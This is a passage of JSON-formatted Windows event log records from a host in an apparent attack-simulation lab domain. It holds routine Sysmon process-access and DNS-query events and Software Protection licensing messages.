C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:58.397","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-405E-5F2D-0000-0010AAB60400}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2797,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:58.397\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-405E-5F2D-0000-0010AAB60400}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:58.397","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-405E-5F2D-0000-0010AAB60400}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2798,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:58.397\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-405E-5F2D-0000-0010AAB60400}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:58.397","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-405E-5F2D-0000-0010AAB60400}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2799,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:58.444\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-405E-5F2D-0000-0010AAB60400}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:58.444","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-405E-5F2D-0000-0010AAB60400}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2800,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:58.444\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-405E-5F2D-0000-0010AAB60400}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:58.444","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-405E-5F2D-0000-0010AAB60400}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2801,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:58.444\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-405E-5F2D-0000-0010AAB60400}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:58.444","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-405E-5F2D-0000-0010AAB60400}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2802,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:56.299\r\nProcessGuid: {90617006-3FE4-5F2D-0000-00107A0C0200}\r\nProcessId: 1884\r\nQueryName: WIN-DC-9849183\r\nQueryStatus: 0\r\nQueryResults: fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;\r\nImage: C:\\Windows\\System32\\spoolsv.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:51:56.299","ProcessGuid":"{90617006-3FE4-5F2D-0000-00107A0C0200}","QueryName":"WIN-DC-9849183","QueryStatus":"0","QueryResults":"fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;","Image":"C:\\Windows\\System32\\spoolsv.exe","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2803,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:56.443\r\nProcessGuid: {90617006-3FE4-5F2D-0000-00107A0C0200}\r\nProcessId: 1884\r\nQueryName: WIN-DC-9849183\r\nQueryStatus: 0\r\nQueryResults: 10.0.1.14;\r\nImage: C:\\Windows\\System32\\spoolsv.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:51:56.443","ProcessGuid":"{90617006-3FE4-5F2D-0000-00107A0C0200}","QueryName":"WIN-DC-9849183","QueryStatus":"0","QueryResults":"10.0.1.14;","Image":"C:\\Windows\\System32\\spoolsv.exe","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2804,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:56.443\r\nProcessGuid: {90617006-3FE4-5F2D-0000-00107A0C0200}\r\nProcessId: 1884\r\nQueryName: WIN-DC-9849183\r\nQueryStatus: 0\r\nQueryResults: fe80::c013:b6b3:a0dc:e7c1;\r\nImage: C:\\Windows\\System32\\spoolsv.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:51:56.443","ProcessGuid":"{90617006-3FE4-5F2D-0000-00107A0C0200}","QueryName":"WIN-DC-9849183","QueryStatus":"0","QueryResults":"fe80::c013:b6b3:a0dc:e7c1;","Image":"C:\\Windows\\System32\\spoolsv.exe","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":36028797018963968,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1066,"SourceName":"Microsoft-Windows-Security-SPP","ProviderGuid":"{E23B33B0-C8C9-472C-A5F9-F2BDFEA0F156}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":12108,"ProcessID":0,"ThreadID":0,"Channel":"Application","Message":"Initialization status for service objects.\r\nC:\\Windows\\system32\\sppwinob.dll, msft:spp/windowsfunctionality/agent/7.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:rm/algorithm/inherited/1.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:rm/algorithm/phone/1.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:rm/algorithm/pkey/detect, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:spp/ActionScheduler/1.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:spp/TaskScheduler/1.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:spp/statecollector/pkey, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:spp/volume/services/kms/1.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:spp/volume/services/kms/activationinfo/1.0, 0x00000000, 0x00000000\n","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":36028797018963968,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1034,"SourceName":"Microsoft-Windows-Security-SPP","ProviderGuid":"{E23B33B0-C8C9-472C-A5F9-F2BDFEA0F156}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":12109,"ProcessID":0,"ThreadID":0,"Channel":"Application","Message":"Duplicate definition of policy found. Policy name=ACLUIFileFolderTool-IsSecurityUIEnabled Priority=100","EventReceivedTime":"2020-08-07 11:51:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":36028797018963968,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1034,"SourceName":"Microsoft-Windows-Security-SPP","ProviderGuid":"{E23B33B0-C8C9-472C-A5F9-F2BDFEA0F156}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":12110,"ProcessID":0,"ThreadID":0,"Channel":"Application","Message":"Duplicate definition of policy found. Policy name=Security-SPP-IgnoreDeferredActivation Priority=500","EventReceivedTime":"2020-08-07 11:51:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":36028797018963968,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1033,"SourceName":"Microsoft-Windows-Security-SPP","ProviderGuid":"{E23B33B0-C8C9-472C-A5F9-F2BDFEA0F156}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":12111,"ProcessID":0,"ThreadID":0,"Channel":"Application","Message":"These policies are being excluded since they are only defined with override-only attribute.\r\nPolicy Names=(Security-SPP-Reserved-EnableNotificationMode) \r\nApp Id=55c92734-d682-4d71-983e-d6ec3f16059f\r\nSku Id=21c56779-b449-4d20-adfc-eece0e1ad74b","EventReceivedTime":"2020-08-07 11:51:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":36028797018963968,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1003,"SourceName":"Microsoft-Windows-Security-SPP","ProviderGuid":"{E23B33B0-C8C9-472C-A5F9-F2BDFEA0F156}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":12112,"ProcessID":0,"ThreadID":0,"Channel":"Application","Message":"The Software Protection service has completed licensing status check.\r\nApplication Id=55c92734-d682-4d71-983e-d6ec3f16059f\r\nLicensing Status=\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 0 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259190)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 